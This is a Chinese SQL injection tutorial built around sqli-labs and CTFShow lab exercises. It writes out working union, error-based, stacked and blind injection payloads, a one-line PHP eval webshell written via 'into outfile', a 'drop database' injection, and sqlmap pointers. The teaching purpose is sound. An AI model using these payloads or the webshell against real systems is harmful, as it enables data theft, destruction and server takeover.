Java教程

SQL注入

本文主要是介绍SQL注入,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

我们如何触碰到数据库

SQL基础回顾

Structured Query Language (结构化 查询 语言)

自带的几个数据库

sys、mysql、performance_schema、information_schema;

数据库 information_schema(MySQL5.0版本以上才有这个库)

  • SCHEMATA

    ​ 该表存放用户创建的所有数据库库名

    • SCHEMA_NAME 字段记录数据库库名
  • TABLES

    ​ 该表存放用户创建的所有数据库库名和表名

    • TABLE_SCHEMA 字段记录数据库名
    • TABLE_NAME 字段记录表名
  • COLUMNS

    ​ 该表存放用户创建的所有数据库库名、表名和字段名

    • TABLE_SCHEMA 字段记录数据库名
    • TABLE_NAME 字段记录表名
    • COLUMN_NAME 字段记录字段名

数据库 mysql、sys可以查出 table_name

几种注释方法:

#
-- (注意--后面需要一个空格)
--+
/*注释内容*/

参数传递时记得url编码,因为特殊字符会导致非预期的情况出现

几个函数

  • user():当前数据库用户

  • database():当前数据库名

  • version():当前使用的数据库版本

  • concat():联合数据,用于联合两条数据结果。如 concat(username,0x3a,password)

  • group_concat():和 concat() 类似,如 group_concat(DISTINCT+user,0x3a,password),用于把多条数据一次注入出来

  • concat_ws():用法类似concat()

  • hex()unhex():用于 hex 编码解码

  • ASCII():返回字符的 ASCII 码值

  • CHAR():把整数转换为对应的字符

  • load_file():读取本地文件

  • select '<?php @eval($_POST["cmd"]);?>' into outfile '路径':权限较高时可直接写文件

SQL注入

​ ——以MySQL + PHP为例

基本概念

  • 服务器需要用户传一个与数据库操作有关的参数(比如查询 id=x 的人的一些信息,id就是要传的参数),然而,我们不满足于常规操作(传id=1),而是精心构造一个参数(例如 id=1;drop database test--+)来达到我们其他的目的

可能可以实现哪些操作:

  • 窃取数据库中的数据
  • 攻击服务器中的其他程序
  • 控制服务器

PHP代码示例

// PHP + MySQL
$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id='$id'";
$result=mysql_query($sql);    // mysql_query() — 发送一条 MySQL 查询,新版本PHP中替换为 mysqli_query()    

判断是否需要闭合引号

——也就是是判断PHP语句中参数是否被引号包裹

sqli-labs pass1 为例

  1. 正常参数:id=1,成功回显信息,证明查询正常,也就证明语法无误

  2. 尝试:id=1#

    若成功回显信息,与传递 id=1 没区别,说明参数没被引号包裹

    若回显异常,进一步测试 id=1'#

    若回显正常,说明参数被单引号包裹

    若仍旧回显异常,测试 id=1"#

    若回显正常,说明参数被双引号包裹

    若还异常,说明存在其他情况

当然,还有更多方法进行测试,如 id=1 or 1=1,id=1' or '1'='1
还可以根据参数的意义来猜,比如name那就大概得是会被引号包裹,作为字符串;而id大概是没被引号包裹,作为数字

判断回显正常还是异常

上面咱们探讨了怎么通过回显正常和异常判断PHP代码中该参数是否被引号包裹,是否需要闭合引号

但是!

你怎么知道什么样的回显是"正常",什么样的是"异常"?当然你可以说"一看就知道"。。。因为可以通过是否返回预期的数据来判断

为了更严谨点,可以这么做:

①id=1 and false# ②id=1' and false# ③id=1 and true# ④id=1' and true#

如果参数没被单引号包裹,参数作为数字,则:③返回页面为正常,其余三次均为异常

如果参数被单引号包裹,参数作为数字,则:④返回页面为正常,其余三次均为异常

也就是说,只出现一次的为正常返回,顺便地,由到底是③还是④的情况只出现一次,就可以判断出参数是否被单引号包裹

注入点位置

可以是一切被服务器用来与数据库交互的参数,不局限于GET、POST

例如上述PHP代码中,$id 还可以以这些方式出现:

$id=$_POST['id'];
$id = $_COOKIE['id'];
$id = $_REQUEST['id'];
$id = $_FILES['file']['tmp_name'];
$id = $_SERVER['HTTP_HOST'];
……

(burp抓包说明

SQL注入分类

——我认为的有意义的分类

  • boolean_blind(布尔型盲注):根据返回页面判断条件真假
  • time_blind(时间型盲注):利用页面响应时间判断条件真假
  • error_based(基于错误的注入):页面会返回错误信息
  • union_query(联合查询注入):可以使用union的情况下
  • stacked_queries(堆查询注入/堆叠注入):可以同时执行多条语句

几种注入方式细讲

union_query

——通过union来查询更多数据

语法要求:union两端查询语句返回列数相等

$sql="SELECT * FROM users WHERE id='$id'";
id=-1' union select 1,2,3,4,……#
#修改id为一个不存在的id,或者使用 and false ,目的是使得union前的语句无法查询到数据不占用回显位,进而使得union后的语句回显1,2,3,4……(可能不会都回显,比如实际查询结果为4列,实际只回显2列,我们需要找到回显的位置进而从这儿构造语句查询更多数据)
#ORDER BY 关键字用于对结果集进行排序。

?id=1' order by 3#            --返回正常
?id=1' order by 4#            --返回正常
?id=1' order by 5#            --返回错误

#这就证明字段总数为4

#还有group by

查询数据

例题:CTFShow web518

?id=-1 union select 1,2,3--+
#假定此时正常回显,也就是查询到数据为3列,再假定回显位有3
#使用fuzz

?id=-1 union select 1,2,database()--+
#查到当前数据库为security

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+
#查到所有schema_name为ctfshow,ctftraining,information_schema,mysql,performance_schema,security,test,猜测 flag 在 ctfshow数据库中

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow'--+
#查询到数据库ctfshow 中 table_name 有flagaa

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='ctfshow' and table_name='flagaa'--+
#查询到数据库ctfshow中 表flagaa中 column_name 有id,flagac,猜测flag在 flagac 中

?id=-1 union select 1,2,group_concat(flagac) from ctfshow.flagaa--+
#最终成功得到flag

error_based

——页面会返回错误信息的情况下使用

例题:CTFShow web518

// 例题PHP部分源码
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
}else {
    print_r(mysql_error());  
}

利用xpath语法错误来进行报错注入主要利用extractvalue和updatexml两个函数。
使用条件:mysql版本>5.1.5

  • 0x7e=’~’
  • concat(‘a’,‘b’)=“ab”
  • version()=@@version
  • ‘~‘可以换成’#’、’$'等不满足xpath格式的字符
  • extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()、left()等函数截取或limit分页,一次查看最多32位

extractvalue

payload:id=0 and(select extractvalue("anything",concat('~',(select语句))))

#databases
id=0 and(select extractvalue(1,concat(0x7e,(select database()))));--+

?id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata))));--+
#tables
id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='库'))));--+
#columns
id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='库' and table_name="表"))));--+
#data
id=0 and(select extractvalue(1,concat(0x7e,(select group_concat(列) from 库.表))));--+

id=0 and(select extractvalue(1,concat(0x7e,(select substring((select group_concat(flagac) from ctfshow.flagaa),1,30)))));--+

?id=0 and(select extractvalue(1,concat(0x7e,(select substring((select group_concat(flagac) from ctfshow.flagaa),31)))));--+

语法:extractvalue(xml_document,Xpath_string);
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:Xpath_string是xpath格式的字符串
作用:从目标xml中返回包含所查询值的字符串

第二个参数是要求符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里,因此可以利用。

updatexml

payload:id=0 and(select updatexml("anything",concat('~',(select语句())),"anything"))

#databases
0 and(select updatexml(1,concat(0x7e,(select database())),0x7e))#
#tables
0 and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))#
#columns
0 and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="表名")),0x7e))#
#data
0 and(select updatexml(1,concat(0x7e,(select group_concat(列名)from 表名)),0x7e))#

语法:updatexml(xml_document,xpath_string,new_value)
第一个参数:xml_document是string格式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点的值

第二个参数跟extractvalue函数的第二个参数一样,因此也可以利用,且利用方式相同

……

stacked_queries

Stack Queries(堆叠查询)可以依次执行多个 SQL 查询语句,类似 Linux 依次执行多个命令 cd ..; ls。不同的数据库和API 对堆叠查询的支持不一样,如MySQL 、MSSQL、PostgreSQL 本身是支持堆叠查询的,使用 ; 将多个语句分开,但是可能数据库的API 接口不支持,如 PHP的数据库查询接口就有可能不支持。堆叠查询和联合查询的区别在于:堆叠查询可以执行任何 SQL 语句(只要能成功执行,如DELECTINSERT等操作),联合查询仅支持 SELECT语句,同时两个查询语句的列数要一致。

$id = $_GET['id'];
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
?id=1;show databases;creat database aaaa;…… --+

boolean_blind

Boolean-based blind(布尔盲注)即基于布尔值(true or false)的方法,通过 SQL语句中真假条件的执行情况推断出数据库的信息

id=1 and 1=1 --+
id=1 and 1=2 --+
id=1 and substring(version(),1,1)=5
id=1 and right(left(version(),1),1)=5
id=1 and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) ,1,1) = 'f' --+

time_blind

Time-based blind(延时盲注)即基于延时的方法,同样通过 SQL语句中真假条件的执行情况推断出数据库的信息,但是使用延时执行的函数如 Mysql 中 sleep,使得不同条件执行查询的时间不同,自然网页上显示结果的时间存在差异,以此推断数据库的信息。

延时的方法

SLEEP

SLEEP(n),延时 n 秒后执行

BENCHMARK

BENCHMARK(loop_count,expr)函数用来测试 SQL 语句或者函数的执行时间,第一个参数表示执行的次数,第二个参数表示要执行的操作。通常使用使用 MD5、SHA1 等函数,执行次数 100000。

GET_LOCK

MySQL 的GET_LOCK(str, timeout)函数尝试获取一个名字为 str 的锁 ,等待 timeout秒未获得,则终止函数,函数返回 0 值,成功则返回 1。利用条件是,开启两个 MySQL 数据库连接,先后在两个连接中使用 GET_LOCK 函数获取相同名字的锁,后面使用 GET_LOCK 函数的连接无法得到锁,等待 timeout秒后执行其它操作。

id=1 and if(substr(database(),1,1)='a',sleep(2),1)--+

SQLMap

——做不出CTF题的神器 x

——sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections. √

sqlmap是一个开源的渗透测试工具,可以使检测和利用SQL注入漏洞和接管数据库服务器的过程自动化。它有一个强大的检测引擎,为最终的渗透测试者提供了许多利基功能,以及广泛的开关,包括数据库指纹,从数据库中获取更多的数据,访问底层文件系统,并通过带外连接在操作系统上执行命令。

pip install sqlmap
这篇关于SQL注入的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!